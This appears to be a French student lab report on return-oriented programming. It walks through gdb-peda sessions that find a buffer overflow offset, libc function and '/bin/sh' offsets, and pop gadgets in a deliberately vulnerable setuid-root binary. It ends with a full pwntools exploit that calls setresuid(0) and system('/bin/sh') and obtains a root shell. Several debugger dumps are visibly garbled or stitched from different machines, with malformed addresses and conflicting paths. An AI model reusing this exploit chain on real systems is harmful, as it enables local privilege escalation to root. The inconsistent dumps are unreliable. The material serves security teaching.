

# ROP : Return-Oriented Programming

## Essai 1:

Avec la protection ASLR désactivée, on trouve printf() à l'adresse 0x7ffff7e3b770

```

masteruser@pc:~/insa/3A/s2/securite/td3$ touch rop.c ou à une autre.
masteruser@pc:~/insa/3A/s2/securite/td3$ nano rop.c
masteruser@pc:~/insa/3A/s2/securite/td3$ gcc -fno-stack-protector rop.c -o rop
masteruser@pc:~/insa/3A/s2/securite/td3$ sudo chown root:root ./rop
[sudo] password for masteruser:
masteruser@pc:~/insa/3A/s2/securite/td3$ sudo chmod 4755 ./rop
masteruser@pc:~/insa/3A/s2/securite/td3$ ls -l rop
-rwsr-xr-x 1 root root 16888 Jun  8 11:22 rop
masteruser@pc:~/insa/3A/s2/securite/td3$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
masteruser@pc:~/insa/3A/s2/securite/td3$ ./rop
On ROPe
Printf() at address : 0x7f4cbf070770
abcd
masteruser@pc:~/insa/3A/s2/securite/td3$ ./rop
On ROPe
Printf() at address : 0x7f71c0ba9770
hello
masteruser@pc:~/insa/3A/s2/securite/td3$ ./rop
On ROPe
Printf() at address : 0x7ff05aed1770
hello
masteruser@pc:~/insa/3A/s2/securite/td3$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
masteruser@pc:~/insa/3A/s2/securite/td3$ ./rop
On ROPe
Printf() at address : 0x7ffff7e3b770
abcd
masteruser@pc:~/insa/3A/s2/securite/td3$ ./rop
On ROPe
Printf() at address : 0x7ffff7e3b770
abcd
masteruser@pc:~/insa/3A/s2/securite/td3$ ./rop
On ROPe
Printf() at address : 0x7ffff7e3b770
abcd

```

En regardant dans gdb, on trouve cette adresse dans l'intervalle 0x00007ffffe05320 – 0x00007ffff7f4b6bb qui correspond au segment .text de la Glibc

```

0x00007ffff7dfc380 - 0x00007ffff7dfc380 is .gnu.version_r in /lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7dfc380 - 0x00007ffff7e03f70 is .rela.dyn in /lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7e03f70 - 0x00007ffff7e043d8 is .rela.plt in /lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7e05000 - 0x00007ffff7e05300 is .plt in /lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7e05300 - 0x00007ffff7e05320 is .plt.got in /lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7e05320 - 0x00007ffff7f4b6bb is .text in /lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f4b6c0 - 0x00007ffff7f4c4f8 is .libfreeres.fn in /lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f4d000 - 0x00007ffff7f6e328 is .rodata in /lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f6e330 - 0x00007ffff7f6e34c is .interp in /lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f74540 - 0x00007ffff7f74540 is .eh_frame_hdr in /lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f74540 - 0x00007ffff7f95060 is .eh_frame in /lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f95060 - 0x00007ffff7f95530 is .gcc_except_table in /lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f95530 - 0x00007ffff7f989f0 is .hash in /lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f989f0 - 0x00007ffff7f989f0 is .data in /lib/x86_64-linux-gnu/libc.so.6

```

## Calcul de la longueur du tapis :

Maintenant on veut calculer la longueur de la portion de la pile à tapisser avec des caractères ('A' par exemple). Pour faire on calcule la différence entre rsp et rsi.

```
gdb-peda$ b *vuln
Note: breakpoint 1 also set at pc 0x1185.
Breakpoint 3 at 0x1185
gdb-peda$ b *vuln+72
Note: breakpoint 2 also set at pc 0x11cd.
Breakpoint 4 at 0x11cd
gdb-peda$ r
Starting program: /home/masteruser/insa/3A/s2/securite/td3/rop
On ROPe

process 2899
Mapped address spaces:
```

	Start Addr	End Addr	Size	Offset	objfile
	0x555555554000	0x555555555000	0x1000	0x0	/root/.Downloads/all/td3/rop
	0x555555555000	0x555555556000	0x1000	0x1000	/root/.Downloads/all/td3/rop
	0x555555556000	0x555555557000	0x1000	0x2000	/root/.Downloads/all/td3/rop
	0x555555557000	0x555555558000	0x1000	0x3000	/root/.Downloads/all/td3/rop
	0x555555558000	0x555555559000	0x1000	0x4000	/root/.Downloads/all/td3/rop
	0x555555559000	0x55555555a000	0x1000	0x5000	[heap]
	0x7ffff7cde000	0x7ffff7de8000	0x3000	0x0	
	0x7ffff7e0a000	0x7ffff7f00000	0x22000	0x0	/usr/lib/x86_64-linux-gnu/libc.so.6

```
p/x pour avoir le résultat en hexadécimal.
[-----registers-----]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7ecd804 (<__GI___libc_write+20>)
RDX: 0x8
p/x 0x7ffff7f69519-0x7ffff7de8000
$4 = 0x181519
cmp rax,0xffffffffffffffff000)
```

```

gdb-peda$ disass vuln
Dump of assembler code for function vuln:
=> 0x000055555555185 <+0>:      push    rbp
0x000055555555186 <+1>:      mov     rbp, rsp
0x000055555555189 <+4>:      sub     rsp, 0x40
0x00005555555518d <+8>:      lea     rsi, [rip+0xe70]          # 0x555555556004
0x000055555555194 <+15>:     mov     rdi, 0xffffffffffffffff
0x00005555555519b <+22>:     call   0x55555555070 <dlsym@plt>
0x0000555555551a0 <+27>:     mov     QWORD PTR [rbp-0x8], rax
0x0000555555551a4 <+31>:     mov     rax, QWORD PTR [rbp-0x8]
0x0000555555551a8 <+35>:     mov     rsi, rax
0x0000555555551ab <+38>:     lea     rdi, [rip+0xe59]          # 0x55555555600b
0x0000555555551b2 <+45>:     mov     eax, 0x0
0x0000555555551b7 <+50>:     call   0x55555555050 <printf@plt>
0x0000555555551bc <+55>:     lea     rax, [rbp-0x40]
0x0000555555551c0 <+59>:     mov     edx, 0x100
0x0000555555551c5 <+64>:     mov     rsi, rax
0x0000555555551c8 <+67>:     mov     edi, 0x0
0x0000555555551cd <+72>:     call   0x55555555060 <read@plt>
0x0000555555551d2 <+77>:     nop
0x0000555555551d3 <+78>:     leave
0x0000555555551d4 <+79>:     ret

End of assembler dump.
gdb-peda$ i r $rsp
rsp                                0x7fffffff0e8
gdb-peda$ ni
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
lib... [117709519 -> 0x60732f6e09622f ('/bin/sh')]
gdb-peda$ info proc map
process 2859

```

```

Breakpoint 2, 0x000055555555551cd in vuln ()
gdb-peda$ disass vuln
Dump of assembler code for function vuln:
0x00005555555555185 <+0>:    push    rbp
0x00005555555555186 <+1>:    mov     rbp, rsp
0x00005555555555189 <+4>:    sub     rsp, 0x40
0x0000555555555518d <+8>:    lea     rsi, [rip+0xe70]          # 0x555555556004
0x00005555555555194 <+15>:   mov     rdi, 0xfffffffffffffff
0x0000555555555519b <+22>:   call    0x55555555070 <dl_sym@plt>
0x000055555555551a0 <+27>:   mov     QWORD PTR [rbp-0x8], rax
0x000055555555551a4 <+31>:   mov     rax, QWORD PTR [rbp-0x8]
0x000055555555551a8 <+35>:   mov     rsi, rax
0x000055555555551ab <+38>:   lea     rdi, [rip+0xe59]          # 0x55555555600b
0x000055555555551b2 <+45>:   mov     eax, 0x0
0x000055555555551b7 <+50>:   call    0x55555555050 <printf@plt>
0x000055555555551bc <+55>:   lea     rax, [rbp-0x40]
0x000055555555551c0 <+59>:   mov     edx, 0x100
0x000055555555551c5 <+64>:   mov     rsi, rax
0x000055555555551c8 <+67>:   mov     edi, 0x0
0x000055555555551cd <+72>:   call    0x55555555060 <read@plt>
0x000055555555551d2 <+77>:   nop
0x000055555555551d3 <+78>:   leave
0x000055555555551d4 <+79>:   ret
End of assembler dump.
gdb-peda$ i r $rsi
rsi                0x7fffffff0ea0          0x7fffffff0ea0
gdb-peda$ p/d 0x7fffffff0ea8 - 0x7fffffff0ea0
$1 = 72
gdb-peda$

```

On calcule l'adresse de \$rsp au niveau de <vuln +0> pour trouver 0x7fffffff0e8, puis l'adresse de \$rsi au niveau de <vuln +72> pour avoir 0x7fffffff0a0. On peut alors avec la commande p/d calculer la différence entre les deux adresses et l'afficher en décimal (d : in decimal).

On trouve un offset de 72 octets, c-à-d que la forme de notre payload ressemblera à 'A' \* 72 + addr\_gadget.

## Offset de '/bin/sh':

Maintenant on veut calculer l'offset de `/bin/sh`. Pour faire on cherche la chaîne `/bin/sh` dans le code chargé en mémoire.

```
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7fffff64519 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ info proc map
process 6155
Mapped address spaces:
```

Start Addr	End Addr	Size	Offset objfile
0x555555554000	0x555555555000	0x1000	0x0 /home/insara/rop/rop
0x555555555000	0x555555556000	0x1000	0x1000 /home/insara/rop/rop
0x555555557000	0x555555558000	0x1000	0x2000 /home/insara/rop/rop
0x555555558000	0x555555559000	0x1000	0x3000 /home/insara/rop/rop
0x7ffff7de0000	0x7ffff7de3000	0x3000	0x0
0x7ffff7de0000	0x7ffff7de0000	0x2000	0x0 /usr/lib/x86_64-linux-gnu/libc-2.28.so
0x7ffff7de0000	0x7ffff7f52000	0x140000	0x22000 /usr/lib/x86_64-linux-gnu/libc-2.28.so
0x7ffff7f52000	0x7ffff7f90000	0x40000	0x16a000 /usr/lib/x86_64-linux-gnu/libc-2.28.so
0x7ffff7f90000	0x7ffff7f90000	0x1000	0x1b6000 /usr/lib/x86_64-linux-gnu/libc-2.28.so
0x7ffff7f90000	0x7ffff7f90000	0x4000	0x1ba000 /usr/lib/x86_64-linux-gnu/libc-2.28.so
0x7ffff7f90000	0x7ffff7f90000	0x2000	0x1ba000 /usr/lib/x86_64-linux-gnu/libc-2.28.so
0x555555554000	0x555555556000	0x1000	0x0 /home/masteruser/insa/3A/s2/securite/td3/rop
0x555555556000	0x555555557000	0x1000	0x1000 /home/masteruser/insa/3A/s2/securite/td3/rop
0x555555557000	0x555555558000	0x1000	0x2000 /home/masteruser/insa/3A/s2/securite/td3/rop
0x555555558000	0x555555559000	0x1000	0x3000 /home/masteruser/insa/3A/s2/securite/td3/rop
0x555555559000	0x55555557a000	0x210000	0x0 [heap]
0x7ffff7de0000	0x7ffff7de3000	0x3000	0x0
0x7ffff7de3000	0x7ffff7e05000	0x22000	0x0 /usr/lib/x86_64-linux-gnu/libc-2.28.so
0x7ffff7e05000	0x7ffff7fd4000	0x148000	0x22000 /usr/lib/x86_64-linux-gnu/libc-2.28.so
0x7ffff7fd4000	0x7ffff7f99000	0x4c000	0x16a000 /usr/lib/x86_64-linux-gnu/libc-2.28.so
0x7ffff7f99000	0x7ffff7f9a000	0x1000	0x1b6000 /usr/lib/x86_64-linux-gnu/libc-2.28.so
0x7ffff7f9a000	0x7ffff7f9e000	0x4000	0x1ba000 /usr/lib/x86_64-linux-gnu/libc-2.28.so
0x7ffff7f9e000	0x7ffff7fa0000	0x2000	0x1ba000 /usr/lib/x86_64-linux-gnu/libc-2.28.so
0x7ffff7fa0000	0x7ffff7fa4000	0x4000	0x0
0x7ffff7fa4000	0x7ffff7fa5000	0x1000	0x0 /usr/lib/x86_64-linux-gnu/libdl-2.28.so
0x7ffff7fa5000	0x7ffff7fa6000	0x1000	0x1000 /usr/lib/x86_64-linux-gnu/libdl-2.28.so
0x7ffff7fa6000	0x7ffff7fa7000	0x1000	0x2000 /usr/lib/x86_64-linux-gnu/libdl-2.28.so
0x7ffff7fa7000	0x7ffff7fa8000	0x1000	0x2000 /usr/lib/x86_64-linux-gnu/libdl-2.28.so
0x7ffff7fa8000	0x7ffff7fa9000	0x1000	0x3000 /usr/lib/x86_64-linux-gnu/libdl-2.28.so
0x7ffff7fa9000	0x7ffff7fab000	0x2000	0x0
0x7ffff7fd0000	0x7ffff7fd3000	0x3000	0x0 [vvar]
0x7ffff7fd3000	0x7ffff7fd5000	0x2000	0x0 [vdso]
0x7ffff7fd5000	0x7ffff7fd6000	0x1000	0x0 /usr/lib/x86_64-linux-gnu/ld-2.28.so
0x7ffff7fd6000	0x7ffff7ff4000	0x1e000	0x0 /usr/lib/x86_64-linux-gnu/ld-2.28.so
0x7ffff7ff4000	0x7ffff7ffc000	0x8000	0x0 /usr/lib/x86_64-linux-gnu/ld-2.28.so
0x7ffff7ffc000	0x7ffff7ffd000	0x1000	0x0 /usr/lib/x86_64-linux-gnu/ld-2.28.so
0x7ffff7ffe000	0x7ffff7ffe000	0x1000	0x0 /usr/lib/x86_64-linux-gnu/ld-2.28.so
0x7ffff7ffe000	0x7ffff7fff000	0x1000	0x0
0x7ffffffffff000	0x7ffffffffff000	0x21000	0x0 [stack]

gdb-peda\$ p/x 0x7ffff7f64519 - 0x7ffff7de3000  
\$2 = 0x181519

On trouve la chaîne à l'adresse 0x7ffff7f64519. Avec info proc map, on trouve l'intervalle dans lequel se trouve cette adresse et donc le fichier correspondant. Ici on trouve que cette adresse correspond au fichier `/usr/lib/x86_64-linux-gnu/libc-2.28.so`. On peut alors calculer son offset par rapport au début du fichier (ou par rapport au début de l'intervalle en ajoutant l'offset de cet intervalle). On trouve à la fin un offset de **0x181519**.

### Offset des fonctions utilisées:

On calcule ensuite de manière similaire les offsets des fonctions printf, system et setresuid, qui appartiennent tous au même fichier de la Glibc, c-à-d qu'on calculera la différence de l'adresse de chaque fonction par rapport à l'adresse du début du fichier.



```

gdb-peda$ p printf
$3 = {int (const char *, ...)} 0x7ffff7e3b770 <printf>
gdb-peda$ p system
$4 = {int (const char *)} 0x7ffff7e27c50 <system>
gdb-peda$ p setresuid
$5 = {int (uid_t, uid_t, uid_t)} 0x7ffff7eaab60 <setresuid>
gdb-peda$ p/x 0x7ffff7e3b770 - 0x7ffff7de3000
$6 = 0x58770
gdb-peda$ p/x 0x7ffff7e27c50 - 0x7ffff7de3000
$7 = 0x44c50
gdb-peda$ p/x 0x7ffff7eaab60 - 0x7ffff7de3000
$8 = 0xc7b60
gdb-peda$

```

On obtient les offset suivants :

```

printf >> 0x58770
system >> 0x44c50
setresuid >> 0xc7b60

```

## Recherche des gadgets:

Maintenant on veut trouver les gadgets pour notre exploit. Ces gadgets sont en faite les adresses des instructions Assembleur qui nous permettront de charger les paramètres nécessaire pour chaque fonction qu'on va utiliser pour l'exploit.

```

gdb-peda$ ropsearch "pop rdi"
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x00005555555526b : (b'5fc3') pop rdi; ret
gdb-peda$ ropsearch "pop rsi"
Searching for ROP gadget: 'pop rsi' in: binary ranges
0x000055555555269 : (b'5e415fc3') pop rsi; pop r15; ret
gdb-peda$ ropsearch "pop rdx"
Searching for ROP gadget: 'pop rdx' in: binary ranges
Not found
gdb-peda$

```

Donc on trouve 'pop rdi' à l'adresse **0x00005555555526b** et 'pop rsi' à l'adresse **0x000055555555269**

```

masteruser@pc:~/insa/3A/s2/secureite/td3$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.28.so -r 2 | grep "pop rdx"
bash: ./rp-lin-x64: No such file or directory
masteruser@pc:~/insa/3A/s2/secureite/td3$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.28.so -r 2 | grep "pop rdx"
bash: ./rp-lin-x64: Permission denied
masteruser@pc:~/insa/3A/s2/secureite/td3$ ls -l rp-lin-x64
-rw-r--r-- 1 masteruser masteruser 1590264 Jun 13 13:43 rp-lin-x64
masteruser@pc:~/insa/3A/s2/secureite/td3$ sudo chmod u+x rp-lin-x64
[sudo] password for masteruser:
Utilisons un autre outil rp-lin-x64 (https://github.com/0vercl0k/rp/downloads):
masteruser@pc:~/insa/3A/s2/secureite/td3$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.28.so -r 2 | grep "pop rdx"
0x00128e58: mov eax, dword [rbx+0x08] ; pop rdx ; call qword [rax+0x20] ; (1 found)
0x00128e57: mov rax, qword [rbx+0x08] ; pop rdx ; call qword [rax+0x20] ; (1 found)
0x00153536: pop rdx ; add eax, 0x83480000 ; ret 0x4910 ; (1 found)
0x0004feba: pop rdx ; and al, 0xFD ; jmp qword [rsi+0x70] ; (1 found)
0x00128e5b: pop rdx ; call qword [rax+0x20] ; (1 found)
0x00106ab3: pop rdx ; pop r10 ; ret ; (1 found)
0x000f4dfc: pop rdx ; pop rbx ; ret ; (1 found)
0x0010acfa: pop rdx ; pop rbx ; ret ; (1 found)
0x0010f6e4: pop rdx ; pop rbx ; ret ; (1 found)
0x001343f2: pop rdx ; pop rbx ; ret ; (1 found)
0x0013443a: pop rdx ; pop rbx ; ret ; (1 found)
0x0013447b: pop rdx ; pop rbx ; ret ; (1 found)
0x00134804: pop rdx ; pop rbx ; ret ; (1 found)
0x00106ad9: pop rdx ; pop rsi ; ret ; (1 found)
0x0004c7d2: pop rdx ; ret ; (1 found)
0x00106ab5: pop rdx ; ret ; (1 found)
masteruser@pc:~/insa/3A/s2/secureite/td3$

```

Et on trouve un offset pour ‘pop rdx’ à **0x00106ad9**.

## Exploitation :

On construit notre exploit de telle manière à avoir :

addr system

‘/bin/sh’ dans rdi

addr setresuid

0 dans rsi

0 dans rdx

0 dans rdi

tapis de 72\*‘A’

Ceci nous donne le code python suivant, rempli avec **les adresses précédemment calculées** :

```
GNU nano 3.2 exploit.py

from pwn import *
from struct import *

# /lib/x86_64-linux-gnu/libc-2.28.so
libcbase_printf_offset = 0x58770
libcbase_system_offset = 0x44c50
libcbase_setresuid_offset = 0xc7b60

binsh_offset = 0x181519

pop_rdi_ret = 0x5555555526b
pop_rsi_ret = 0x55555555269
pop_rdx_ret_offset = 0x106ad9

r = process('./rop')

r.recv(8)
r.recvuntil('Printf() at address : ')
libcbase = int(r.recvuntil('\n'),16)
libcbase -= libcbase_printf_offset

payload = "A"*72
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(libcbase + pop_rdx_ret_offset)
payload += p64(0)
payload += p64(0)
payload += p64(libcbase + libcbase_setresuid_offset)

payload += p64(pop_rdi_ret)
payload += p64(libcbase + binsh_offset)
payload += p64(libcbase + libcbase_system_offset)

r.send(payload)
r.interactive()
```

Lorsqu’on exécute le code python, on a l’exploit qui fonctionne.

```

masteruser@pc:~/insa/3A/s2/securite/td3$ python exploit.py
[+] Starting local process './rop': pid 6297
[*] Switching to interactive mode
$ id
uid=0(root) gid=1000(masteruser) groups=1000(masteruser),27(sudo)
$ pwd
/home/masteruser/insa/3A/s2/securite/td3
$ echo "yes we can"
yes we can
$ echo "et voilà mon td de ROP réussi :)"
et voilà mon td de ROP réussi :)
$ █

```

On a réussi à exécuter la commande system avec l'argument '/bin/sh', ce qui nous a fourni un accès à un Shell.